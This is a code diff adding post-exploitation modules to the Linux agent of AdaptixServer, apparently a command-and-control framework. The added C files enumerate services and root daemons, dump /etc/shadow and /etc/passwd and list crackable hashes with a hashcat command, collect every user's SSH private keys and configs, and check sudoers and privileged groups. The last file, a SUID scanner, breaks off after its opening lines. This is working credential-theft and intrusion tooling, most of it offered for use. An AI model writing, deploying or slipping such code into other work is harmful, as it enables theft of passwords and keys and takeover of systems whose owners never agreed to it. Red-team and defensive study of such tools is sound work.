+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c
@@ -0,0 +1,301 @@
+/// service_enum.c — BOF: Enumerate running services, systemd units, init scripts
+/// Compile: gcc -c -o service_enum.o service_enum.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof service_enum.o
+
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+#define DT_REG 8
+#define DT_LNK 10
+#define DT_DIR 4
+
+static int is_digit(char c) { return c >= '0' && c <= '9'; }
+static int str_to_int(const char *s) {
+ int val = 0;
+ while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; }
+ return val;
+}
+
+static void enum_listening_services(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Listening services (from /proc/net/tcp) ===\n");
+
+ char *tcp = (char *)0;
+ int tcp_len = AxReadFileToBuffer("/proc/net/tcp", &tcp, 524288);
+ if (tcp_len <= 0 || !tcp) return;
+
+ BeaconPrintf(CALLBACK_OUTPUT, " %-8s %-22s\n", "PROTO", "LISTEN ADDRESS");
+
+ char *line = tcp;
+ int line_num = 0;
+ while (line < tcp + tcp_len) {
+ char *eol = line;
+ while (eol < tcp + tcp_len && *eol != '\n') eol++;
+
+ line_num++;
+ if (line_num == 1) { line = eol + 1; continue; }
+
+ // Find state field (0A = LISTEN)
+ // Quick scan for "0A" as state
+ char *p = line;
+ // Skip to after remote_addr:port (3 colon-delimited fields)
+ int colons = 0;
+ while (p < eol && colons < 3) {
+ if (*p == ':') colons++;
+ p++;
+ }
+ // Skip spaces
+ while (p < eol && *p == ' ') p++;
+ // Now at state field — skip port hex
+ // Actually simpler: look for " 0A " pattern in line
+ char *state = AxStrstr(line, " 0A ");
+ if (state) {
+ // This is a LISTEN socket — extract local address
+ char *colon1 = AxStrchr(line, ':');
+ if (colon1) {
+ char *local = colon1 + 2;
+ char *lcolon = AxStrchr(local, ':');
+ if (lcolon && lcolon < state) {
+ // Parse IP and port
+ char ip_hex[16];
+ int ip_len = (int)(lcolon - local);
+ if (ip_len > 15) ip_len = 15;
+ AxMemcpy(ip_hex, local, ip_len);
+ ip_hex[ip_len] = '\0';
+
+ // Parse hex port
+ int port = 0;
+ for (int i = 1; i <= 4 && lcolon[i]; i++) {
+ int nibble = 0;
+ char c = lcolon[i];
+ if (c >= '0' && c <= '9') nibble = c - '0';
+ else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10;
+ else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10;
+ port = (port << 4) | nibble;
+ }
+
+ // Parse hex IP (little-endian)
+ unsigned int ip = 0;
+ for (int i = 0; i < 8 && ip_hex[i]; i++) {
+ int nibble = 0;
+ char c = ip_hex[i];
+ if (c >= '0' && c <= '9') nibble = c - '0';
+ else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10;
+ else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10;
+ ip = (ip << 4) | nibble;
+ }
+
+ BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n",
+ "tcp",
+ ip & 0xFF, (ip >> 8) & 0xFF,
+ (ip >> 16) & 0xFF, (ip >> 24) & 0xFF,
+ port);
+ }
+ }
+ }
+ line = eol + 1;
+ }
+ AxFree(tcp);
+
+ // UDP listeners (all UDP sockets are effectively "listening")
+ char *udp = (char *)0;
+ int udp_len = AxReadFileToBuffer("/proc/net/udp", &udp, 524288);
+ if (udp_len > 0 && udp) {
+ char *line2 = udp;
+ int ln = 0;
+ while (line2 < udp + udp_len) {
+ char *eol2 = line2;
+ while (eol2 < udp + udp_len && *eol2 != '\n') eol2++;
+ ln++;
+ if (ln > 1) {
+ char *colon1 = AxStrchr(line2, ':');
+ if (colon1) {
+ char *local = colon1 + 2;
+ char *lcolon = AxStrchr(local, ':');
+ if (lcolon) {
+ int port = 0;
+ for (int i = 1; i <= 4 && lcolon[i]; i++) {
+ int nibble = 0;
+ char c = lcolon[i];
+ if (c >= '0' && c <= '9') nibble = c - '0';
+ else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10;
+ else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10;
+ port = (port << 4) | nibble;
+ }
+ if (port > 0) {
+ unsigned int ip = 0;
+ char ip_hex[16];
+ int ip_len = (int)(lcolon - local);
+ if (ip_len > 15) ip_len = 15;
+ AxMemcpy(ip_hex, local, ip_len);
+ ip_hex[ip_len] = '\0';
+ for (int i = 0; i < 8 && ip_hex[i]; i++) {
+ int nibble = 0;
+ char c = ip_hex[i];
+ if (c >= '0' && c <= '9') nibble = c - '0';
+ else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10;
+ else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10;
+ ip = (ip << 4) | nibble;
+ }
+ BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n",
+ "udp",
+ ip & 0xFF, (ip >> 8) & 0xFF,
+ (ip >> 16) & 0xFF, (ip >> 24) & 0xFF,
+ port);
+ }
+ }
+ }
+ }
+ line2 = eol2 + 1;
+ }
+ AxFree(udp);
+ }
+}
+
+static void enum_systemd_units(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Systemd service units ===\n");
+
+ const char *unit_dirs[] = {
+ "/etc/systemd/system",
+ "/usr/lib/systemd/system",
+ "/lib/systemd/system",
+ (const char *)0
+ };
+
+ for (int d = 0; unit_dirs[d]; d++) {
+ int dirfd = AxOpenDir(unit_dirs[d]);
+ if (dirfd < 0) continue;
+
+ BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", unit_dirs[d]);
+
+ char dirbuf[8192];
+ int count = 0;
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ char *name = entry->d_name;
+
+ // Only show .service files
+ int nlen = AxStrlen(name);
+ if (nlen > 8 && AxStrcmp(name + nlen - 8, ".service") == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", name);
+ count++;
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+
+ if (count == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " (no .service files)\n");
+ }
+ }
+}
+
+static void enum_init_scripts(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Init scripts ===\n");
+
+ int dirfd = AxOpenDir("/etc/init.d");
+ if (dirfd < 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " /etc/init.d not found\n");
+ return;
+ }
+
+ char dirbuf[4096];
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ if (entry->d_name[0] != '.') {
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", entry->d_name);
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+}
+
+static void enum_running_daemons(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Running daemons (root processes) ===\n");
+
+ int dirfd = AxOpenDir("/proc");
+ if (dirfd < 0) return;
+
+ char dirbuf[8192];
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+
+ if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) {
+ int pid = str_to_int(entry->d_name);
+ if (pid > 0) {
+ char path[128];
+ AxSnprintf(path, sizeof(path), "/proc/%d/status", pid);
+ char *status = (char *)0;
+ int slen = AxReadFileToBuffer(path, &status, 4096);
+ if (slen > 0 && status) {
+ // Check if UID is 0
+ char *uid_line = AxStrstr(status, "Uid:\t");
+ if (uid_line) {
+ int uid = str_to_int(uid_line + 5);
+ if (uid == 0) {
+ // Get name
+ char *name_line = AxStrstr(status, "Name:\t");
+ if (name_line) {
+ name_line += 6;
+ char *eol = AxStrchr(name_line, '\n');
+ if (eol) {
+ char pname[128];
+ int plen = (int)(eol - name_line);
+ if (plen > 127) plen = 127;
+ AxMemcpy(pname, name_line, plen);
+ pname[plen] = '\0';
+
+ // Get PPID
+ char *ppid_line = AxStrstr(status, "PPid:\t");
+ int ppid = 0;
+ if (ppid_line) ppid = str_to_int(ppid_line + 6);
+
+ // Only show if PPID is 1 (daemon) or 0 (kernel)
+ if (ppid <= 1) {
+ BeaconPrintf(CALLBACK_OUTPUT, " PID %-6d %s\n", pid, pname);
+ }
+ }
+ }
+ }
+ }
+ AxFree(status);
+ }
+ }
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Service enumeration\n");
+
+ enum_listening_services();
+ enum_running_daemons();
+ enum_systemd_units();
+ enum_init_scripts();
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Service enumeration complete\n");
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c
new file mode 100644
index 000000000..e6264bc3e
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c
@@ -0,0 +1,98 @@
+/// shadow_dump.c — BOF: Dump /etc/shadow + /etc/passwd for offline cracking
+/// Compile: gcc -c -o shadow_dump.o shadow_dump.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof shadow_dump.o
+
+void go(char *args, int args_len) {
+ if (!BeaconIsAdmin()) {
+ BeaconPrintf(CALLBACK_ERROR, "[!] Not running as root — cannot read /etc/shadow\n");
+ return;
+ }
+
+ // Read /etc/shadow
+ char *shadow_data = (char *)0;
+ int shadow_len = AxReadFileToBuffer("/etc/shadow", &shadow_data, 524288);
+ if (shadow_len > 0 && shadow_data) {
+ BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/shadow (%d bytes) ===\n", shadow_len);
+ BeaconOutput(CALLBACK_OUTPUT, shadow_data, shadow_len);
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ AxFree(shadow_data);
+ } else {
+ BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/shadow\n");
+ }
+
+ // Read /etc/passwd for cross-reference
+ char *passwd_data = (char *)0;
+ int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd_data, 524288);
+ if (passwd_len > 0 && passwd_data) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/passwd (%d bytes) ===\n", passwd_len);
+ BeaconOutput(CALLBACK_OUTPUT, passwd_data, passwd_len);
+ AxFree(passwd_data);
+ }
+
+ // Parse shadow for accounts with password hashes (not ! or * or empty)
+ char *shadow2 = (char *)0;
+ int shadow2_len = AxReadFileToBuffer("/etc/shadow", &shadow2, 524288);
+ if (shadow2_len > 0 && shadow2) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Accounts with password hashes ===\n");
+ int crackable = 0;
+ char *line = shadow2;
+ while (line < shadow2 + shadow2_len) {
+ // Find end of line
+ char *eol = line;
+ while (eol < shadow2 + shadow2_len && *eol != '\n')
+ eol++;
+
+ // Find first colon (end of username)
+ char *colon1 = line;
+ while (colon1 < eol && *colon1 != ':')
+ colon1++;
+
+ if (colon1 < eol) {
+ char *hash_start = colon1 + 1;
+ // Find second colon (end of hash field)
+ char *colon2 = hash_start;
+ while (colon2 < eol && *colon2 != ':')
+ colon2++;
+
+ int hash_len = (int)(colon2 - hash_start);
+ // Skip locked (!) or disabled (*) or empty accounts
+ if (hash_len > 2 && *hash_start != '!' && *hash_start != '*') {
+ // Print username:hash
+ int uname_len = (int)(colon1 - line);
+ char uname[256];
+ if (uname_len > 255) uname_len = 255;
+ AxMemcpy(uname, line, uname_len);
+ uname[uname_len] = '\0';
+
+ char hash[512];
+ if (hash_len > 511) hash_len = 511;
+ AxMemcpy(hash, hash_start, hash_len);
+ hash[hash_len] = '\0';
+
+ // Identify hash type
+ const char *htype = "unknown";
+ if (AxStrncmp(hash, "$1$", 3) == 0) htype = "MD5";
+ if (AxStrncmp(hash, "$5$", 3) == 0) htype = "SHA-256";
+ if (AxStrncmp(hash, "$6$", 3) == 0) htype = "SHA-512";
+ if (AxStrncmp(hash, "$y$", 3) == 0) htype = "yescrypt";
+ if (AxStrncmp(hash, "$2b$", 4) == 0) htype = "bcrypt";
+ if (AxStrncmp(hash, "$2a$", 4) == 0) htype = "bcrypt";
+
+ BeaconPrintf(CALLBACK_OUTPUT, " [%s] %s:%s\n", htype, uname, hash);
+ crackable++;
+ }
+ }
+
+ line = eol + 1;
+ }
+
+ if (crackable == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " (no crackable hashes found)\n");
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d crackable account(s) found\n", crackable);
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Crack with: hashcat -m 1800 hashes.txt wordlist.txt\n");
+ }
+
+ AxFree(shadow2);
+ }
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c
new file mode 100644
index 000000000..c733c6df7
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c
@@ -0,0 +1,214 @@
+/// ssh_keys.c — BOF: Scan all users for SSH private keys, configs, known_hosts
+/// Compile: gcc -c -o ssh_keys.o ssh_keys.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof ssh_keys.o
+
+// getdents64 record structure
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+#define DT_DIR 4
+#define DT_REG 8
+
+static void scan_ssh_dir(const char *homedir, const char *username) {
+ char ssh_path[512];
+ AxSnprintf(ssh_path, sizeof(ssh_path), "%s/.ssh", homedir);
+
+ int fd = AxOpenDir(ssh_path);
+ if (fd < 0) return;
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s/.ssh/)\n", username, homedir);
+
+ char dirbuf[4096];
+ int found_keys = 0;
+
+ while (1) {
+ int nread = AxReadDir(fd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ char *name = entry->d_name;
+
+ // Skip . and ..
+ if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) {
+ pos += entry->d_reclen;
+ continue;
+ }
+
+ char filepath[768];
+ AxSnprintf(filepath, sizeof(filepath), "%s/%s", ssh_path, name);
+
+ // Check if it's a private key file
+ int is_privkey = 0;
+ if (AxStrcmp(name, "id_rsa") == 0 ||
+ AxStrcmp(name, "id_ed25519") == 0 ||
+ AxStrcmp(name, "id_ecdsa") == 0 ||
+ AxStrcmp(name, "id_dsa") == 0) {
+ is_privkey = 1;
+ }
+
+ // Also detect non-standard key names by reading header
+ if (!is_privkey && entry->d_type == DT_REG) {
+ char header[64];
+ int hfd = AxOpenFile(filepath, 0, 0);
+ if (hfd >= 0) {
+ int n = AxReadFile(hfd, header, 63);
+ AxCloseFile(hfd);
+ if (n > 30) {
+ header[n] = '\0';
+ if (AxStrstr(header, "PRIVATE KEY") != (char *)0) {
+ is_privkey = 1;
+ }
+ }
+ }
+ }
+
+ if (is_privkey) {
+ // Read and dump the private key
+ char *key_data = (char *)0;
+ int key_len = AxReadFileToBuffer(filepath, &key_data, 65536);
+ if (key_len > 0 && key_data) {
+ // Check if encrypted
+ int encrypted = 0;
+ if (AxStrstr(key_data, "ENCRYPTED") != (char *)0)
+ encrypted = 1;
+
+ BeaconPrintf(CALLBACK_OUTPUT, " [KEY] %s (%d bytes)%s\n",
+ name, key_len, encrypted ? " [ENCRYPTED]" : " [UNENCRYPTED]");
+ BeaconOutput(CALLBACK_OUTPUT, key_data, key_len);
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ found_keys++;
+ AxFree(key_data);
+ }
+ } else if (AxStrcmp(name, "authorized_keys") == 0) {
+ // Show authorized keys (who can login)
+ char *ak_data = (char *)0;
+ int ak_len = AxReadFileToBuffer(filepath, &ak_data, 65536);
+ if (ak_len > 0 && ak_data) {
+ // Count keys
+ int nkeys = 0;
+ for (int i = 0; i < ak_len; i++) {
+ if (ak_data[i] == '\n') nkeys++;
+ }
+ if (ak_len > 0 && ak_data[ak_len - 1] != '\n') nkeys++;
+
+ BeaconPrintf(CALLBACK_OUTPUT, " [AUTH] authorized_keys (%d keys)\n", nkeys);
+ BeaconOutput(CALLBACK_OUTPUT, ak_data, ak_len);
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ AxFree(ak_data);
+ }
+ } else if (AxStrcmp(name, "known_hosts") == 0) {
+ unsigned int mode = 0;
+ long fsize = 0;
+ if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [HOSTS] known_hosts (%ld bytes)\n", fsize);
+ }
+ } else if (AxStrcmp(name, "config") == 0) {
+ // SSH config can reveal internal hosts, jump proxies, etc.
+ char *cfg_data = (char *)0;
+ int cfg_len = AxReadFileToBuffer(filepath, &cfg_data, 65536);
+ if (cfg_len > 0 && cfg_data) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [CONFIG] config (%d bytes)\n", cfg_len);
+ BeaconOutput(CALLBACK_OUTPUT, cfg_data, cfg_len);
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ AxFree(cfg_data);
+ }
+ }
+
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(fd);
+
+ if (found_keys == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " (no private keys found)\n");
+ }
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning SSH keys for all users...\n");
+
+ // Parse /etc/passwd to find home directories
+ char *passwd = (char *)0;
+ int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288);
+ if (passwd_len <= 0 || !passwd) {
+ BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/passwd\n");
+ return;
+ }
+
+ int users_scanned = 0;
+ int total_keys = 0;
+ char *line = passwd;
+
+ while (line < passwd + passwd_len) {
+ char *eol = line;
+ while (eol < passwd + passwd_len && *eol != '\n')
+ eol++;
+
+ // Parse passwd line: username:x:uid:gid:gecos:homedir:shell
+ int field = 0;
+ char *username = line;
+ int username_len = 0;
+ char *homedir = (char *)0;
+ int homedir_len = 0;
+ char *shell = (char *)0;
+ int shell_len = 0;
+ char *field_start = line;
+
+ for (char *p = line; p <= eol; p++) {
+ if (p == eol || *p == ':') {
+ if (field == 0) {
+ username = field_start;
+ username_len = (int)(p - field_start);
+ } else if (field == 5) {
+ homedir = field_start;
+ homedir_len = (int)(p - field_start);
+ } else if (field == 6) {
+ shell = field_start;
+ shell_len = (int)(p - field_start);
+ }
+ field++;
+ field_start = p + 1;
+ }
+ }
+
+ // Skip system accounts with nologin/false shells (but keep root)
+ int skip = 0;
+ if (shell && shell_len > 0) {
+ // Check last component of shell path
+ if (shell_len >= 7 && AxStrncmp(shell + shell_len - 7, "nologin", 7) == 0)
+ skip = 1;
+ if (shell_len >= 5 && AxStrncmp(shell + shell_len - 5, "false", 5) == 0)
+ skip = 1;
+ }
+
+ // Always scan root regardless of shell
+ if (username_len == 4 && AxStrncmp(username, "root", 4) == 0)
+ skip = 0;
+
+ if (!skip && homedir && homedir_len > 0 && homedir_len < 256) {
+ char home_buf[512];
+ AxMemcpy(home_buf, homedir, homedir_len);
+ home_buf[homedir_len] = '\0';
+
+ char uname_buf[256];
+ if (username_len > 255) username_len = 255;
+ AxMemcpy(uname_buf, username, username_len);
+ uname_buf[username_len] = '\0';
+
+ scan_ssh_dir(home_buf, uname_buf);
+ users_scanned++;
+ }
+
+ line = eol + 1;
+ }
+
+ AxFree(passwd);
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Scanned %d user(s)\n", users_scanned);
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c
new file mode 100644
index 000000000..0ba344773
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c
@@ -0,0 +1,264 @@
+/// sudo_check.c — BOF: Parse sudoers configuration + check current user privileges
+/// Compile: gcc -c -o sudo_check.o sudo_check.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof sudo_check.o
+
+// getdents64 record structure
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+#define DT_REG 8
+
+static void print_interesting_lines(const char *data, int len, const char *source) {
+ // Parse line by line, show non-comment, non-empty lines
+ const char *line = data;
+ int interesting = 0;
+
+ while (line < data + len) {
+ const char *eol = line;
+ while (eol < data + len && *eol != '\n')
+ eol++;
+
+ int line_len = (int)(eol - line);
+
+ // Skip empty lines and comments
+ if (line_len > 0) {
+ // Skip leading whitespace
+ const char *start = line;
+ while (start < eol && (*start == ' ' || *start == '\t'))
+ start++;
+
+ int content_len = (int)(eol - start);
+ if (content_len > 0 && *start != '#') {
+ // Check for high-value patterns
+ int is_nopasswd = 0;
+ int is_all = 0;
+
+ // Manual search for NOPASSWD
+ for (const char *p = start; p + 8 <= eol; p++) {
+ if (AxStrncmp(p, "NOPASSWD", 8) == 0) {
+ is_nopasswd = 1;
+ break;
+ }
+ }
+ // Search for ALL
+ for (const char *p = start; p + 3 <= eol; p++) {
+ if (p[0] == 'A' && p[1] == 'L' && p[2] == 'L') {
+ is_all = 1;
+ break;
+ }
+ }
+
+ char prefix[16];
+ prefix[0] = ' '; prefix[1] = ' ';
+ int plen = 2;
+ if (is_nopasswd && is_all) {
+ // Critical: NOPASSWD + ALL
+ prefix[0] = '!'; prefix[1] = '!';
+ } else if (is_nopasswd || is_all) {
+ prefix[0] = ' '; prefix[1] = '*';
+ }
+ prefix[plen] = '\0';
+
+ // Print the line with truncation guard
+ char linebuf[1024];
+ if (content_len > 1020) content_len = 1020;
+ AxMemcpy(linebuf, start, content_len);
+ linebuf[content_len] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, "%s %s\n", prefix, linebuf);
+ interesting++;
+ }
+ }
+ line = eol + 1;
+ }
+
+ if (interesting == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " (no active rules in %s)\n", source);
+ }
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Sudoers configuration audit\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " Legend: !! = critical (NOPASSWD+ALL), * = notable\n\n");
+
+ // 1. Read /etc/sudoers
+ char *sudoers = (char *)0;
+ int sudoers_len = AxReadFileToBuffer("/etc/sudoers", &sudoers, 524288);
+ if (sudoers_len > 0 && sudoers) {
+ BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/sudoers ===\n");
+ print_interesting_lines(sudoers, sudoers_len, "/etc/sudoers");
+ AxFree(sudoers);
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, "[!] Cannot read /etc/sudoers (need root or sudo group)\n");
+ }
+
+ // 2. Scan /etc/sudoers.d/
+ int dirfd = AxOpenDir("/etc/sudoers.d");
+ if (dirfd >= 0) {
+ char dirbuf[4096];
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ char *name = entry->d_name;
+
+ // Skip . and .. and hidden files
+ if (name[0] != '.') {
+ char filepath[512];
+ AxSnprintf(filepath, sizeof(filepath), "/etc/sudoers.d/%s", name);
+
+ char *fdata = (char *)0;
+ int flen = AxReadFileToBuffer(filepath, &fdata, 524288);
+ if (flen > 0 && fdata) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", filepath);
+ print_interesting_lines(fdata, flen, filepath);
+ AxFree(fdata);
+ }
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+ }
+
+ // 3. Check current user's groups (from /proc/self/status)
+ char *status = (char *)0;
+ int status_len = AxReadFileToBuffer("/proc/self/status", &status, 65536);
+ if (status_len > 0 && status) {
+ // Find "Groups:" line
+ char *groups_line = AxStrstr(status, "Groups:");
+ if (groups_line) {
+ char *eol = groups_line;
+ while (eol < status + status_len && *eol != '\n')
+ eol++;
+ int gline_len = (int)(eol - groups_line);
+ if (gline_len > 0) {
+ char gbuf[512];
+ if (gline_len > 511) gline_len = 511;
+ AxMemcpy(gbuf, groups_line, gline_len);
+ gbuf[gline_len] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Current process ===\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " PID: %d | UID: %d | EUID: %d\n",
+ AxGetPid(), AxGetUid(), AxGetEuid());
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gbuf);
+ }
+ }
+ AxFree(status);
+ }
+
+ // 4. Check if user is in sudo/wheel group via /etc/group
+ char *group_file = (char *)0;
+ int group_len = AxReadFileToBuffer("/etc/group", &group_file, 524288);
+ if (group_len > 0 && group_file) {
+ // Get current username from /proc/self/status (Name: field) or UID
+ int my_uid = AxGetUid();
+
+ // Find username from /etc/passwd by UID
+ char *passwd = (char *)0;
+ int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288);
+ char my_username[256];
+ my_username[0] = '\0';
+
+ if (passwd_len > 0 && passwd) {
+ char uid_str[16];
+ AxSnprintf(uid_str, sizeof(uid_str), "%d", my_uid);
+ int uid_str_len = AxStrlen(uid_str);
+
+ char *line = passwd;
+ while (line < passwd + passwd_len) {
+ char *eol = line;
+ while (eol < passwd + passwd_len && *eol != '\n')
+ eol++;
+
+ // username:x:uid:...
+ char *c1 = AxStrchr(line, ':');
+ if (c1 && c1 < eol) {
+ char *c2 = AxStrchr(c1 + 1, ':');
+ if (c2 && c2 < eol) {
+ char *uid_start = c2 + 1;
+ char *c3 = AxStrchr(uid_start, ':');
+ if (c3 && c3 < eol) {
+ int u_len = (int)(c3 - uid_start);
+ if (u_len == uid_str_len && AxStrncmp(uid_start, uid_str, u_len) == 0) {
+ int name_len = (int)(c1 - line);
+ if (name_len > 255) name_len = 255;
+ AxMemcpy(my_username, line, name_len);
+ my_username[name_len] = '\0';
+ break;
+ }
+ }
+ }
+ }
+ line = eol + 1;
+ }
+ AxFree(passwd);
+ }
+
+ if (my_username[0] != '\0') {
+ BeaconPrintf(CALLBACK_OUTPUT, " Username: %s\n", my_username);
+
+ // Check privileged groups
+ const char *priv_groups[] = {"sudo", "wheel", "admin", "root", "docker", "lxd", "disk", (const char *)0};
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Privileged group membership ===\n");
+
+ char *line = group_file;
+ while (line < group_file + group_len) {
+ char *eol = line;
+ while (eol < group_file + group_len && *eol != '\n')
+ eol++;
+
+ // group:x:gid:member1,member2,...
+ char *c1 = AxStrchr(line, ':');
+ if (c1 && c1 < eol) {
+ int gname_len = (int)(c1 - line);
+
+ // Check if this is a privileged group
+ for (int i = 0; priv_groups[i]; i++) {
+ int pg_len = AxStrlen(priv_groups[i]);
+ if (gname_len == pg_len && AxStrncmp(line, priv_groups[i], gname_len) == 0) {
+ // Check if our user is a member
+ // Find last colon (members field)
+ char *last_colon = eol - 1;
+ while (last_colon > c1 && *last_colon != ':')
+ last_colon--;
+ if (*last_colon == ':') {
+ char *members = last_colon + 1;
+ int members_len = (int)(eol - members);
+
+ // Search for username in comma-separated list
+ int uname_len = AxStrlen(my_username);
+ char *search = members;
+ while (search + uname_len <= eol) {
+ if (AxStrncmp(search, my_username, uname_len) == 0) {
+ char after = (search + uname_len < eol) ? *(search + uname_len) : '\0';
+ if (after == ',' || after == '\0' || after == '\n') {
+ char gname_buf[64];
+ if (gname_len > 63) gname_len = 63;
+ AxMemcpy(gname_buf, line, gname_len);
+ gname_buf[gname_len] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " [!] Member of '%s' group\n", gname_buf);
+ break;
+ }
+ }
+ // Advance to next comma or end
+ while (search < eol && *search != ',')
+ search++;
+ if (search < eol) search++;
+ }
+ }
+ }
+ }
+ }
+ line = eol + 1;
+ }
+ }
+ AxFree(group_file);
+ }
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c
new file mode 100644
index 000000000..ef2590009
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c
@@ -0,0 +1,240 @@
+/// suid_scan.c — BOF: Recursive SUID/SGID binary scanner with GTFOBins hints
+/// Compile: gcc -c -o suid_scan.o suid_scan.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof suid_scan.o
+
+// getdents64 record structure
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+#define DT_DIR 4
